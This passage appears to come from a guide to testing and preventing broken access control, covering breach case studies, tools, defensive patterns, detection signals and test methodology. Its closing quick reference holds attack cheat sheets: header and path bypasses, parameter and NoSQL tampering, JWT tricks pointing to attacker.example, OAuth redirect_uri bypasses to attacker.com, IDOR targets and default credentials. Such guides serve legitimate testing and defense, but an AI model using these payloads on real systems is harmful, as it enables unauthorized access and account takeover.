Independent researchers demonstrated a chained flaw in Kia’s web portal: weak ownership verification and authorization checks allowed reassigning connected-car control (tracking, unlocking, remote start) using only a license plate number. Chain: license plate → BOLA on ownership API → reassign control to attacker’s device → full vehicle takeover. Lesson: high-risk operations (vehicle control, money movement) require strong centralized server-side authorization bound to the authenticated principal, not user-supplied identifiers, with step-up authentication for sensitive commands.
13.10 Instagram — Private content IDOR (2019)#
An IDOR vulnerability in Instagram’s API allowed attackers to view private posts, stories, and direct messages by manipulating user IDs in API requests. Millions of users’ private content was accessible by simply changing a numeric ID. Pattern: consumer-scale social platform with sequential user IDs and missing object-level authorization on media endpoints.
13.11 GitHub — Repository privilege escalation (2022)#
Users could escalate their privileges within repositories without authorization by manipulating parameters or accessing unprotected endpoints — regular users gained functions restricted to repository administrators. Pattern: inconsistent authorization checks across repo management endpoints.
13.12 GitLab — Branch deletion without permission (CVE-2021-39931)#
DELETE /api/v4/projects/:projectId/repository/branches/:branchId lacked any role or permission check — any valid token succeeded regardless of scope. Pattern: destructive API endpoint with zero authorization logic.
13.13 Mealie — Self-permission editing (CVE-2024-55070)#
Group managers in Mealie v2.2.0 could edit their own permissions via PUT /api/households/permissions, adding canManage, canInvite, canOrganize to their own account. Pattern: permission-management endpoint trusting the requester to specify their own privileges.
13.14 HackerOne top authorization disclosures#
From the reddelexchacker HackerOne top-authorization disclosures snapshot, the most-paid authorization classes (descending): BOLA/IDOR in user-owned resources, admin-function access via missing role checks, tenant-crossing in collaboration features, password reset token reuse, invite/share link authorization bypass, GraphQL field-level authorization gaps, and impersonation features that forget to log or authorize properly.
14. Tools & Automation#
14.1 Core toolkit#
| Tool | Use |
|---|---|
| Burp Suite Pro | Manual request tampering, Repeater, Intruder, session handling |
| Burp Autorize | Two-session automated authorization diffing |
| Burp AuthMatrix | Matrix-style per-role per-endpoint testing |
| Burp Turbo Intruder | High-throughput enumeration, race conditions |
| OWASP ZAP | Open-source alternative; ForcedBrowse, AuthMatrix add-on |
| Firefox Multi-Account Containers | Multiple simultaneous sessions in one browser |
| ffuf | Content discovery, ID enumeration, parameter fuzzing |
| Postman / Insomnia | Collection-driven API testing with auth profiles |
14.2 Scanning and discovery#
| Tool | Use |
|---|---|
gau, waybackurls, katana | URL harvesting for endpoint discovery |
LinkFinder, SecretFinder, JSParser | Extract routes and keys from JS |
graphql-voyager, InQL, clairvoyance | GraphQL schema and field discovery |
kiterunner | Content discovery tuned for APIs and routes |
nuclei | Templates for default-admin paths, CVE checks |
trufflehog, gitleaks | Secret/credential discovery |
14.3 IDOR-specific#
| Tool | Use |
|---|---|
| Burp Autorize | Diff responses between roles |
bwapp-idor-scanner | IDOR sweeping for common patterns |
Blindy | Bulk IDOR discovery |
| Custom curl/requests loops | Most effective on a per-target basis |
14.4 JWT and OAuth#
| Tool | Use |
|---|---|
jwt_tool | Alg confusion, key confusion, brute force |
hashcat -m 16500 | Cracking HS256 secrets |
| Burp JWT Editor | GUI token manipulation |
oauthtester, Burp OAuth extensions | redirect_uri / state / PKCE testing |
14.5 Authorization policy engines#
| Tool | Use |
|---|---|
| OPA / Rego | General-purpose policy engine; PDP for microservices |
| Cedar (AWS) | Policy language for Amazon Verified Permissions |
| OpenFGA | Open-source fine-grained authorization engine (Auth0) |
| SpiceDB | Google Zanzibar-inspired ReBAC engine |
| Auth0 FGA | Managed fine-grained authorization with CI/CD test integration |
| Schemathesis / Dredd | OpenAPI-driven BOLA test generation for CI/CD pipelines |
14.6 AI-powered BAC testing#
| Tool | Use |
|---|---|
| Penti AI | Agentic AI that crawls roles/states/identity contexts, reproduces BAC exploits with PoC steps |
| Invicti | DAST scanner with IDOR and directory traversal detection |
14.7 Cloud and IAM#
| Tool | Use |
|---|---|
pacu | AWS exploitation framework |
ScoutSuite, Prowler | Multi-cloud posture |
cloudsplaining, iam-vulnerable | IAM policy analysis |
peirates | Kubernetes privilege escalation |
kubiscan | Kubernetes RBAC review |
15. Detection & Prevention#
15.1 Core principles#
- Deny by default. Unless a resource is explicitly intended to be public, it is denied. Every new route inherits this default.
- Single enforcement point. Route all authorization through one library/middleware. Multiple implementations drift.
- Server-side only. Never trust client-side role flags, hidden fields, or UI state.
- Check on every request. No “we already checked in step 2” logic — every step re-authorizes.
- Tie identity to session, not to request parameters. Tenant, user, and role are derived from the authenticated session on the server.
- Use opaque identifiers. UUIDv4 or ULIDs over auto-increment integers. Not a substitute for proper authorization — it raises the cost of enumeration.
- Log authorization failures. Every 403 is a data point. Alerts on rate spikes catch enumeration.
- Rate-limit identifier sweeps. Measure it in production, not just in staging.
15.2 Architectural patterns#
PDP/PEP separation: Decouple the decision-making logic (Policy Decision Point) from enforcement (Policy Enforcement Point). The PEP sits in your microservices or API gateway, intercepting requests. The PDP is a centralized engine (OpenFGA, OPA, Cedar) that evaluates policies against runtime context and returns allow/deny. This prevents scattered if/else authorization logic.
Policy as Code (PaC): Store authorization policies in a version-controlled repo, enforce via automated testing in CI/CD, and deploy changes without redeploying the application. Auth0 FGA supports automatic authorization tests integrated into CI/CD pipelines.
Scoped database access: Replace Order.findById(params.id) with currentUser.Orders.findById(params.id). Scope queries to the authenticated user’s context so the data access layer enforces authorization even if a manual check is forgotten in the controller.
Schema-based validation: Reject unexpected fields via JSON Schema or Zod. If an endpoint expects only username, reject any request containing id or role — prevents mass assignment attacks.
15.3 Defense-in-depth checklist#
- Central authorization middleware (e.g. Rails CanCan, Django permissions, Spring
@PreAuthorize, custom OPA). - Row-level security at the database layer (Postgres RLS, per-tenant schema, application-enforced
tenant_idfilter). - Deny-by-default router — if no explicit policy attached to a route, reject the request and log.
- Session binds
user_id,tenant_id,roles, andscopesat login; never re-read from request. - JWTs validated with fixed algorithm, correct audience, issuer, expiry;
alg: noneand algorithm confusion rejected. - OAuth redirect_uri matched by exact string equality, not prefix or wildcard.
- Admin endpoints on a distinct host/path plus network-layer ACL plus application-layer role check.
- Audit log of all privileged actions with actor, target, outcome, source IP, and session.
- Automated integration tests for every endpoint × every role.
- Regression suite that catches any new route without a policy decorator.
- Continuous authorization testing in CI/CD via Autorize-style diffing.
15.3 Framework-specific landmines#
| Framework | Landmine |
|---|---|
| Rails | Mass assignment, format-based bypass (.json skips before_action) |
| Django | Forgotten @permission_required, ORM global managers |
| Spring | useSuffixPatternMatch, method-level security without class-level fallback |
| Express | Middleware order — authorize after the route handler is a no-op |
| Laravel | Policies registered but not invoked in API controllers |
| WordPress | AJAX handlers without current_user_can() + check_ajax_referer() |
| GraphQL | Resolvers that authenticate but don’t authorize per-field |
15.4 Detection signals in logs#
- Spike of 403s from a single IP or session → enumeration in progress.
- 200 responses with unusual object-ID deltas (your user never touches ID 99999 normally).
- Access to admin paths from non-admin sessions — even if denied, the attempt itself is signal.
- JWT
algorkidfield changing mid-session. redirect_urivalues that don’t match your registered clients.- Cross-tenant object references in the same session.
- Single user accessing many different object IDs in rapid succession (BOLA enumeration).
- Credential reuse from known breach datasets — cross-reference login attempts against compromised credential databases.
- OIDC token prefix collisions — monitor for JWT cache key anomalies.
16. Testing Methodology#
A systematic flow for AuthZ assessment, blending PortSwigger Academy, OWASP WSTG, and Intigriti BugQuest guidance.
16.1 Three-step baseline#
- Discovery — inventory every route, method, parameter, and ID field.
- Context — understand the intended authorization model (roles, tenants, relationships).
- Test — verify enforcement against each role × each endpoint × each object.
16.2 Account matrix#
Before testing, provision:
| Account | Purpose |
|---|---|
| Unauthenticated | Baseline for public endpoints |
| Low-priv user A | Horizontal target |
| Low-priv user B | Horizontal attacker |
| Privileged user | Vertical target |
| Tenant A admin | Multi-tenant target |
| Tenant B admin | Multi-tenant attacker |
| Deactivated / banned | Revocation checks |
16.3 WSTG-aligned checks#
From the OWASP Web Security Testing Guide authorization section:
- WSTG-ATHZ-01 — Directory traversal / file include (file endpoints).
- WSTG-ATHZ-02 — Authorization schema bypass (reading the role/ACL model and probing each entry).
- WSTG-ATHZ-03 — Privilege escalation (vertical and horizontal).
- WSTG-ATHZ-04 — Insecure direct object references (BOLA).
- WSTG-ATHZ-05 — OAuth weaknesses (scope, redirect_uri, state/PKCE).
16.4 Per-endpoint checklist#
For every endpoint:
- Called unauthenticated → expected deny?
- Called as every role → matches the policy?
- Called with every HTTP method → only permitted methods accepted?
- Called with modified object ID → cross-user / cross-tenant access blocked?
- Called with modified role/scope claim in JWT → rejected?
- Called with header override (
X-Original-URL,X-HTTP-Method-Override) → rejected? - Called via bulk/export variant → same enforcement as per-object?
- Called through GraphQL / mobile / partner API variant → same enforcement?
- Response body inspected for overshared fields (role, tenant, internal flags)?
- 403/redirect responses checked for sensitive data leakage?
- Batch/array endpoints tested with mixed-ownership IDs?
- Nested resource paths tested at child level (not just parent)?
- Custom headers (
X-User-ID,X-Account-ID) tested with modified values? - Cookies with embedded user IDs decoded, modified, and replayed?
- File download endpoints tested with modified document/image IDs?
- OIDC/JWT cache keys tested for prefix collision?
16.5 Automated BOLA testing in CI/CD#
Automate BOLA testing in your pipeline using frameworks like Dredd, Schemathesis, or custom scripts that generate cross-user access test cases from your OpenAPI specification. For every endpoint:
- Authenticate as User A, capture the request.
- Replay with User B’s token but User A’s object IDs.
- Verify that every endpoint returns 403 or 404.
- Pay particular attention to batch operations, nested resource paths, and GraphQL nested queries/mutations.
For GraphQL APIs, use InQL to discover object relationships and test BOLA across nested queries.
16.6 Reporting with impact#
Frame findings with the CIA triad:
- Confidentiality — what can be read that shouldn’t be (PII, tokens, internal docs).
- Integrity — what can be written or changed (account takeover, payment, config).
- Availability — what can be deleted or locked (user deletion, tenant wipe).
Chain horizontal → vertical where possible: “IDOR reveals admin password reset token → ATO of admin → full tenant compromise.” A simple IDOR that returns PII is valuable; a simple IDOR that returns an admin’s reset token is critical.
17. Quick Reference#
17.1 Header bypass cheat sheet#
X-Original-URL: /admin/deleteUser
X-Rewrite-URL: /admin/deleteUser
X-HTTP-Method-Override: DELETE
X-HTTP-Method: DELETE
X-Method-Override: DELETE
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
Forwarded: for=127.0.0.1
Referer: https://target.com/admin
X-Original-URL: /admin
17.2 Path normalization cheat sheet#
/admin/deleteUser
/admin/deleteUser/
/admin//deleteUser
/admin/./deleteUser
/admin/%2e/deleteUser
/admin%20/deleteUser
/admin/deleteUser;x=y
/admin/deleteUser?
/admin/deleteUser.json
/admin/deleteUser.xml
/admin/deleteUser.html
/ADMIN/DELETEUSER
/%61dmin/deleteUser
/admin%2fdeleteUser
17.3 Parameter tampering cheat sheet#
?admin=true
?role=admin
?is_admin=1
?user=admin
?debug=1
?test=1
?id=1&id=2
?id[]=1&id[]=2
id=1,2
{"role":"admin"}
{"is_superuser":true}
{"user_id":{"$ne":null}}
{"user_id":["me",42]}
17.4 JWT attack cheat sheet#
alg: none
alg: None
alg: NONE
RS256 -> HS256 with public key as secret
kid: ../../../../dev/null
kid: ' UNION SELECT 'x
jku: https://attacker.example/keys.json
x5u: https://attacker.example/cert.pem
sub: <victim>
role: admin
is_admin: true
scope: admin:*
tenant: <victim_tenant>
17.5 OAuth redirect_uri cheat sheet#
https://target.com.attacker.com/cb
https://target.com@attacker.com/cb
https://attacker.com/target.com/cb
https://target.com/cb/../evil
https://target.com/cb#@attacker.com
https://target.com/cb?x=https://attacker.com
https://tаrget.com/cb (IDN)
http://target.com/cb (scheme downgrade)
https://target.com:8443/cb (port change)
17.6 IDOR target list#
/api/users/{id}
/api/users/me
/api/users/me/documents/{id}
/api/orgs/{org}/users/{id}
/api/invoices/{id}
/api/orders/{id}
/api/messages/{id}
/api/files/{uuid}
/api/exports/{id}
/download?id={id}
/export?id={id}
/view?username={u}&file={f}
/api/companies/{org}/employees/{id}
/api/documents/{uuid}
/api/patients/{id}/records
/api/households/permissions
/api/admin/users
/api/config/update
/images/user/{id}/avatar.jpg
/backups/user_{id}_backup.zip
17.7 Default credential list (starting points)#
admin:admin
admin:password
administrator:administrator
root:root
test:test
demo:demo
guest:guest
user:user
123456:123456
<company>:<company>
<company>:password
(Full set: SecLists Passwords/Default-Credentials/default-passwords.csv, 2.8K+ entries.)
17.8 Always-rejected-without-chain list#
These, on their own, are usually out of scope or N/A. Chain them into something.
- Missing rate limits with no account lockout demonstration.
- “IDOR” on public resources.
- Role names exposed in JS with no actual endpoint bypass.
- Password reset without a working token disclosure.
- CSRF on unauthenticated endpoints.
- “Session doesn’t expire after logout” with no session fixation.
17.9 Chain-to-critical list#
| Bug | Chain into |
|---|---|
| IDOR on user record | Password reset → ATO |
| IDOR on invites | Admin invite → vertical escalation |
| BFLA on role change | Self-promotion → admin |
| JWT alg confusion | Claim tampering → cross-tenant |
| redirect_uri bypass | Token theft → ATO |
| Multi-tenant leak | Cross-tenant enumeration → mass PII |
| Cloud metadata access | IAM token → cross-project |
| Default creds | Tenant access → IDOR at scale |
| OIDC cache collision | Session inheritance → admin takeover |
| Pass-the-hash login | Credential theft → admin ATO |
| Config update BFLA | Runtime modification → RCE |
| Dormant API BOLA | Legacy endpoint → mass PII |
| License plate BOLA | Ownership reassignment → vehicle takeover |
| Self-permission edit | Privilege self-promotion → admin |
Appendix: Source Index#
This guide synthesizes 80 clipped research sources covering:
- PortSwigger Web Security Academy — access control fundamentals
- OWASP — A01 Broken Access Control (2021/2025/2026), API Security Top 10, WSTG, BLA9:2025 Business Logic Abuse
- OWASP Authorization & Access Control Cheat Sheets, Authorization Testing Automation
- HackTricks — IDOR/BOLA reference
- Intigriti BugQuest — 31 days of broken access control
- Intigriti — broken authentication exploitation guide
- Hackviser — IDOR attack guide
- Haxoris — WSTG methodology reference
- Black Hat — broken access control primer
- Imperva, HackerOne, StackHawk, Vulnsy — BOLA/IDOR overviews
- Auth0 — why BAC dominates OWASP Top 10 in 2026, PDP/PEP patterns, Policy as Code, NHI identity sprawl
- Authgear — BAC defense checklist with real-world examples (Optus, Kia)
- Invicti — BAC detection and prevention
- SecureLayer7 — A01 risks and RBAC implementation
- IntelligenceX — A01:2025 complete guide with breach case studies
- Vaadata — IDOR + mass assignment chain pentest walkthrough
- Inspectiv — broken authentication and IDOR guide
- Penti AI — AI-powered BAC testing tool
- Blue Goat Cyber — horizontal/vertical privilege escalation explained
- CyberiumX — PortSwigger lab walkthroughs for vertical privilege escalation
- Palo Alto Unit 42 — Vertex AI “Double Agents” research
- SANS 2026 Identity Threats Report — credential exposure timing gap
- Enzoic — infostealer credential chain analysis
- Managed-WP — WordPress Simple Membership (CVE-2026-34886)
- aangine BOLA disclosure (CVE-2025-67274)
- LiteLLM — CVE-2026-35030 (OIDC cache collision), CVE-2026-35029 (config update BFLA), pass-the-hash login
- GitLab — branch deletion without permission (CVE-2021-39931)
- Mealie — self-permission editing (CVE-2024-55070)
- McHire/Paradox.ai 64M applicant IDOR
- Carlsberg “Memories” wristband IDOR
- Optus — dormant API 10M customer breach (2022)
- Kia — license plate to vehicle takeover (2024)
- Instagram — private content IDOR (2019)
- GitHub — repository privilege escalation (2022)
- OpenClaw multi-user session isolation disclosure
- HackerOne top-authorization disclosure archive, BAC hunting guide
- Google Zanzibar, SpiceDB, OpenFGA — ReBAC architecture and concepts
- Amazon Verified Permissions, Cedar — fine-grained authorization
- OPA/Rego — ABAC policy engine tutorials and deployment best practices
- NIST SP 800-162 — ABAC reference architecture
- Wiz — Kubernetes RBAC best practices (basic to advanced)
- RBAC vs ABAC vs PBAC vs ReBAC — model comparison guides
- Multiple practitioner guides on horizontal/vertical escalation and detection
The source material is captured under ~/Documents/obsidian/chs/raw/AuthZ/ for primary-source review.